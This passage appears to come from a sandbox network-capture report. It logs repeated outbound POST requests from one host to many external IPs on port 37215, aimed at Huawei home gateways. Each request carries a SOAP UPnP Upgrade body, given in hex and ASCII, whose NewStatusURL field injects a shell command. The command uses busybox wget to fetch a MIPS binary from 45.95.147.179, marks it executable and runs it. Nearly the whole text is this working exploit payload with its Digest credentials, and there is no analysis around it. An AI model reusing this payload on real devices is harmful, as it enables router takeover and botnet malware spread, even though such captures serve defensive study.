70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 03:59:46.744271994 CET	182	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/xml; charset="utf-8" Server: Linux UPnP/1.0 Huawei-ATP-IGD EXT: Connection: Keep-Alive Content-Length: 398

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.20	45318	37.72.214.22	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 03:59:46.936019897 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.20	46208	156.93.225.163	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 03:59:49.271918058 CET	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.20	58538	41.44.208.165	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 03:59:53.723136902 CET	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 03:59:53.999588966 CET	182	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/xml; charset="utf-8" Server: Linux UPnP/1.0 Huawei-ATP-IGD EXT: Connection: Keep-Alive Content-Length: 398

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.20	54652	154.194.143.250	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 03:59:58.468908072 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:00.364582062 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:02.636643887 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:07.180501938 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:16.268717051 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:34.412552118 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml 